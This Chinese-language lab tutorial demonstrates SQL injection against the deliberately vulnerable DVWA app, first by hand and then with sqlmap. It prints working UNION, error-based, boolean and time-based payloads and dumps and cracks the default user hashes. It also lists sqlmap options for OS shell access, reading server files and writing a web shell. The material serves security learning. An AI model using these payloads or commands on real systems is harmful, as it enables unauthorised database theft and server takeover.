SQL 注入实战:DVWA LOW完整测试指南

文章目录

    • [1. 环境准备](#1. 环境准备)
      • [1.1 获取 Session Cookie](#1.1 获取 Session Cookie)
    • [2. 手工 SQL 注入测试](#2. 手工 SQL 注入测试)
      • [2.1 判断注入点](#2.1 判断注入点)
      • [2.2 确定字段数](#2.2 确定字段数)
      • [2.3 联合查询测试](#2.3 联合查询测试)
      • [2.4 获取数据库名](#2.4 获取数据库名)
      • [2.5 获取表名(解决字符集冲突)](#2.5 获取表名(解决字符集冲突))
      • [2.6 获取列名](#2.6 获取列名)
      • [2.7 获取用户数据](#2.7 获取用户数据)
    • [3. Sqlmap 自动化注入](#3. Sqlmap 自动化注入)
      • [3.1 Sqlmap 简介](#3.1 Sqlmap 简介)
      • [3.2 安装与配置](#3.2 安装与配置)
      • [3.3 基础命令详解](#3.3 基础命令详解)
      • [3.4 实战步骤](#3.4 实战步骤)
        • [步骤 1:枚举所有数据库](#步骤 1:枚举所有数据库)
        • [步骤 2:获取 dvwa 数据库的表](#步骤 2:获取 dvwa 数据库的表)
        • [步骤 3:获取 users 表的列名](#步骤 3:获取 users 表的列名)
        • [步骤 4:获取所有用户数据](#步骤 4:获取所有用户数据)
      • [3.5 注入技术对比](#3.5 注入技术对比)
      • [3.6 常用命令速查](#3.6 常用命令速查)
    • [4. 数据获取与分析](#4. 数据获取与分析)
      • [4.1 获取到的完整数据](#4.1 获取到的完整数据)
      • [4.2 密码安全分析](#4.2 密码安全分析)
      • [4.3 数据导出格式](#4.3 数据导出格式)

1. 环境准备

  1. 使用浏览器访问 DVWA 并登录
  2. F12 打开开发者工具
  3. 点击 Network(网络) 标签
  4. 刷新页面,点击任意请求
  5. Request Headers 中找到 Cookie:
  6. 复制完整的 Cookie 值

示例 Cookie:

复制代码
PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low

2. 手工 SQL 注入测试

2.1 判断注入点

测试步骤:

在 SQL Injection 页面的输入框中输入:

复制代码
1'

预期结果: 页面报错,说明存在 SQL 注入漏洞。

原因分析:

sql 复制代码
-- 原始 SQL
SELECT first_name, last_name FROM users WHERE user_id = '1'

-- 注入后 SQL
SELECT first_name, last_name FROM users WHERE user_id = '1''
--                                             多余的单引号导致语法错误

2.2 确定字段数

测试语句:

sql 复制代码
1' order by 3#

结果: 页面报错

测试语句:

sql 复制代码
1' order by 2#

结果: 页面正常

结论: 查询语句包含 2 个字段

原理说明:

sql 复制代码
-- order by 3 报错,说明只有 2 列
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#
-- 第 3 列不存在,导致错误

2.3 联合查询测试

测试语句:

sql 复制代码
-1' union select 1,2#

结果: 页面显示 12

说明: 该注入点支持 UNION 查询注入

原理解析:

sql 复制代码
SELECT first_name, last_name FROM users WHERE user_id = '-1'
UNION
SELECT 1,2#

为什么要用 -1?

  • 使用 -1 确保第一条查询不返回结果
  • 这样 UNION 查询的结果才会显示在页面上

2.4 获取数据库名

注入语句:

sql 复制代码
-1' union select 1,database()#

执行结果:

复制代码
ID: -1' union select 1,database()#
First name: 1
Surname: dvwa

结论: 当前数据库名为 dvwa


2.5 获取表名(解决字符集冲突)

问题:字符集冲突错误

尝试语句:

sql 复制代码
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

错误信息:

复制代码
Illegal mix of collations for operation 'UNION'

错误原因: 数据库表字符集与查询结果字符集不匹配

解决方案:使用 HEX 编码

注入语句:

sql 复制代码
-1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema='dvwa'#

执行结果:

复制代码
Surname:7573657273

十六进制解码:

复制代码
7573657273 → users

结论: DVWA 数据库包含这个表:

  • users(用户表)

2.6 获取列名

注入语句:

sql 复制代码
-1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users'#

执行结果(十六进制):

复制代码
757365725f69642c66697273745f6e616d652c6c6173745f6e616d652c757365722c70617373776f72642c6176617461722c6c6173745f6c6f67696e2c6661696c65645f6c6f67696e

解码结果:

复制代码
user_id,first_name,last_name,user,password,avatar,last_login,failed_login

2.7 获取用户数据

注入语句:

sql 复制代码
-1' union select 1,hex(group_concat(user,0x3a,password)) from users#

说明: 0x3a 是冒号 : 的十六进制,用于分隔用户名和密码

执行结果(十六进制):

复制代码
61646d696e3a32313233326632393761353761356137343338393461306534613830316663332c...

解码结果:

复制代码
admin:21232f297a57a5a743894a0e4a801fc3,
gordonb:e99a18c428cb38d5f260853678922e03,
1337:8d3533d75ae2c3966d7e0d4fcc69216b,
pablo:0d107d09f5bbe40cade3de5c71e9e9b7,
smithy:5f4dcc3b5aa765d61d8327deb882cf99

密码破解(MD5):

用户名 MD5 哈希 明文密码
admin 21232f297a57a5a743894a0e4a801fc3 admin
gordonb e99a18c428cb38d5f260853678922e03 abc123
1337 8d3533d75ae2c3966d7e0d4fcc69216b charley
pablo 0d107d09f5bbe40cade3de5c71e9e9b7 letmein
smithy 5f4dcc3b5aa765d61d8327deb882cf99 password

3. Sqlmap 自动化注入

3.1 Sqlmap 简介

Sqlmap 是一款开源的 SQL 注入工具,可以:

  • 自动检测和利用 SQL 注入漏洞
  • 支持多种数据库(MySQL、Oracle、PostgreSQL 等)
  • 支持多种注入技术(布尔盲注、错误注入、时间盲注、UNION 查询)
  • 直接获取数据库数据

3.2 安装与配置

Windows 环境:

  1. 下载 sqlmap:

    https://github.com/sqlmapproject/sqlmap

  2. 添加到系统 PATH(可选):

powershell 复制代码
[Environment]::SetEnvironmentVariable("Path", $env:Path + ";D:\Programs\Tools\sqlmap", [EnvironmentVariableTarget]::User)
  1. 使用方法:
powershell 复制代码
# 方式 1:直接运行(需要配置 PATH)
sqlmap.py [选项]

# 方式 2:指定完整路径
python D:\Programs\Tools\sqlmap\sqlmap.py [选项]

# 方式 3:在 sqlmap 目录下运行
cd D:\Programs\Tools\sqlmap
python sqlmap.py [选项]

3.3 基础命令详解

命令结构
powershell 复制代码
sqlmap -u "目标 URL" --cookie="会话 Cookie" --功能参数
参数说明
参数 作用 示例
-u 指定目标 URL -u "http://..."
--cookie 设置 Cookie --cookie="PHPSESSID=xxx; security=low"
--dbs 枚举所有数据库 --dbs
-D 指定数据库 -D dvwa
--tables 列出表 --tables
-T 指定表 -T users
--columns 列出列 --columns
--dump 导出数据 --dump
--batch 自动确认 --batch
--technique 指定注入技术 --technique=U

3.4 实战步骤

步骤 1:枚举所有数据库

命令:

powershell 复制代码
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" --dbs --batch

输出结果:

复制代码
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.10.6.12#dev}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[*] starting @ 17:46:06 /2026-06-03/

[17:46:08] [INFO] testing connection to the target URL
[17:46:08] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:46:08] [INFO] testing if the target URL content is stable
[17:46:09] [INFO] target URL content is stable
[17:46:09] [INFO] testing if GET parameter 'id' is dynamic
[17:46:09] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

[17:48:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:48:13] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable

[17:48:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:48:18] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable

[17:48:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:48:29] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

[17:48:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:48:29] [INFO] target URL appears to have 2 columns in query
[17:48:29] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable

sqlmap identified the following injection point(s) with a total of 146 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 8669=8669#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT (ELT(3115=3115,1))),0x71787a7871))-- YXzB&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 3061 FROM (SELECT(SLEEP(5)))taHX)-- BpBS&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit
---

[17:51:09] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.1

[17:51:09] [INFO] fetching database names
available databases [2]:
[*] dvwa
[*] information_schema

[*] ending @ 17:51:09 /2026-06-03/

关键信息:

  • 发现 4 种注入方式
  • 发现 2 个数据库:dvwa、information_schema
  • 后端 DBMS:MySQL >= 5.1
  • Web 服务器:Windows + PHP 7.3.4 + Apache 2.4.39

步骤 2:获取 dvwa 数据库的表

命令:

powershell 复制代码
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" -D dvwa --tables --batch

输出结果:

复制代码
Database: dvwa
[1 table]
+-------+
| users |
+-------+

说明: 成功获取 dvwa 数据库中的表:users


步骤 3:获取 users 表的列名

命令:

powershell 复制代码
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" -D dvwa -T users --columns --batch

输出结果:

复制代码
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

字段说明:

字段名 类型 说明
user varchar(15) 用户名
password varchar(32) 密码(MD5 哈希)
user_id int(6) 用户 ID
first_name varchar(15)
last_name varchar(15)
avatar varchar(70) 头像路径
last_login timestamp 最后登录时间
failed_login int(3) 登录失败次数

步骤 4:获取所有用户数据

命令:

powershell 复制代码
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" -D dvwa -T users --dump --batch

输出结果:

复制代码
Database: dvwa
Table: users
[5 entries]
+---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+
| user_id | user    | avatar                           | password                                    | last_name | first_name | last_login          | failed_login |
+---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+
| 1       | admin   | /DVWA/hackable/users/admin.jpg   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin   | admin      | 2026-05-12 23:26:37 | 3            |
| 2       | gordonb | /DVWA/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown   | Gordon     | 2026-04-23 08:52:29 | 0            |
| 3       | 1337    | /DVWA/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me      | Hack       | 2026-04-23 08:52:29 | 0            |
| 4       | pablo   | /DVWA/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso | Pablo      | 2026-04-23 08:52:29 | 0            |
| 5       | smithy  | /DVWA/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith   | Bob        | 2026-04-23 08:52:29 | 0            |
+---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+

[17:55:28] [INFO] table 'dvwa.users' dumped to CSV file 'C:\Users\Administrator\AppData\Local\sqlmap\output\192.168.0.107\dump\dvwa\users.csv'

3.5 注入技术对比

注入类型 原理 速度 推荐使用场景
UNION 查询 使用 UNION 关键字合并查询结果 ⭐⭐⭐⭐⭐ 首选,可直接获取数据
错误注入 利用数据库错误信息泄露数据 ⭐⭐⭐⭐ 备选方案,速度较快
布尔盲注 根据页面返回差异判断 ⭐⭐ 其他方法失败时使用
时间盲注 根据响应时间判断 最后的选择,速度慢

Sqlmap 检测到的注入 Payload:

1. 布尔盲注:

sql 复制代码
id=1' OR NOT 8669=8669#&Submit=Submit

2. 错误注入:

sql 复制代码
id=1' AND EXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT (ELT(3115=3115,1))),0x71787a7871))-- YXzB&Submit=Submit

3. 时间盲注:

sql 复制代码
id=1' AND (SELECT 3061 FROM (SELECT(SLEEP(5)))taHX)-- BpBS&Submit=Submit

4. UNION 查询:

sql 复制代码
id=1' UNION ALL SELECT CONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit

3.6 常用命令速查

获取数据库信息
powershell 复制代码
# 获取所有数据库
sqlmap -u "URL" --cookie="Cookie" --dbs --batch

# 获取当前数据库
sqlmap -u "URL" --cookie="Cookie" --current-db --batch

# 获取数据库用户
sqlmap -u "URL" --cookie="Cookie" --current-user --batch

# 获取数据库版本
sqlmap -u "URL" --cookie="Cookie" --dbms-version --batch
获取表和数据
powershell 复制代码
# 获取指定数据库的所有表
sqlmap -u "URL" --cookie="Cookie" -D dvwa --tables --batch

# 获取指定表的列
sqlmap -u "URL" --cookie="Cookie" -D dvwa -T users --columns --batch

# 获取指定表的数据
sqlmap -u "URL" --cookie="Cookie" -D dvwa -T users --dump --batch

# 获取所有数据库的所有数据
sqlmap -u "URL" --cookie="Cookie" --dump-all --batch
高级功能
powershell 复制代码
# 只使用 UNION 注入技术(最快)
sqlmap -u "URL" --cookie="Cookie" --technique=U --batch

# 获取数据库权限
sqlmap -u "URL" --cookie="Cookie" --privileges --batch

# 获取操作系统 Shell(高危!)
sqlmap -u "URL" --cookie="Cookie" --os-shell --batch

# 读取服务器文件
sqlmap -u "URL" --cookie="Cookie" --file-read="C:/Windows/win.ini" --batch

# 写入文件到服务器
sqlmap -u "URL" --cookie="Cookie" --file-write="./shell.php" --file-dest="./DVWA/shell.php" --batch

4. 数据获取与分析

4.1 获取到的完整数据

users 表数据:

user_id user first_name last_name password (MD5) password (明文)
1 admin admin admin 21232f297a57a5a743894a0e4a801fc3 admin
2 gordonb Gordon Brown e99a18c428cb38d5f260853678922e03 abc123
3 1337 Hack Me 8d3533d75ae2c3966d7e0d4fcc69216b charley
4 pablo Pablo Picasso 0d107d09f5bbe40cade3de5c71e9e9b7 letmein
5 smithy Bob Smith 5f4dcc3b5aa765d61d8327deb882cf99 password

4.2 密码安全分析

问题:

  1. 所有密码都使用 MD5 哈希(不安全)
  2. 密码强度极弱(如 admin、abc123、password)
  3. 没有使用盐值(salt)

MD5 哈希特点:

  • 快速计算
  • 容易受到彩虹表攻击
  • 不适合存储密码

推荐方案:

  • 使用 bcryptArgon2PBKDF2
  • 添加随机盐值
  • 增加计算成本因子

4.3 数据导出格式

Sqlmap 支持多种导出格式:

CSV 文件:

复制代码
user_id,user,avatar,password,last_name,first_name,last_login,failed_login
1,admin,/DVWA/hackable/users/admin.jpg,21232f297a57a5a743894a0e4a801fc3,admin,admin,2026-05-12 23:26:37,3

SQL 文件:

sql 复制代码
INSERT INTO users VALUES (1,'admin','admin','21232f297a57a5a743894a0e4a801fc3',...);

⚠️ 法律免责声明:

本文所有技术内容仅用于学习和研究目的。未经授权对他人系统进行测试是违法行为。请在使用本文所述技术时,确保您已获得合法授权。

相关推荐
Whoami!2 小时前
05-【园区】SDN+VXLAN 私有云安全防护架构
网络安全·架构·sdn·拓扑图
酉鬼女又兒4 小时前
零基础入门虚拟局域网VLAN:从广播域问题根源到802.1q帧格式、三大端口类型及实战例题全解析
网络·网络协议·计算机网络·网络安全·职场和发展·智能路由器·求职招聘
pencek4 小时前
HakcMyVM-driftingblues3
网络安全
HackTwoHub4 小时前
关于文件上传漏洞深度绕过利用教程,突破命令执行限制
运维·安全·web安全·网络安全·系统安全·安全架构
超级无敌zhq4 小时前
内网权限维持实战:打造持久化后门与隐蔽通道
网络·windows·安全·网络安全
持敬chijing5 小时前
Web渗透之SQL注入-URL解码注入(URL Decode Injection)
sql·安全·web安全·网络安全·网络攻击模型·安全威胁分析
小红卒14 小时前
mysql之udf提权
数据库·mysql·网络安全
持敬chijing20 小时前
Web渗透之SQL注入-堆叠注入(Stacked Queries Injection)
sql·安全·web安全·网络安全·网络攻击模型·安全威胁分析
vortex51 天前
CheatMD:让 Markdown 笔记变成可执行的交互式命令
笔记·网络安全·markdown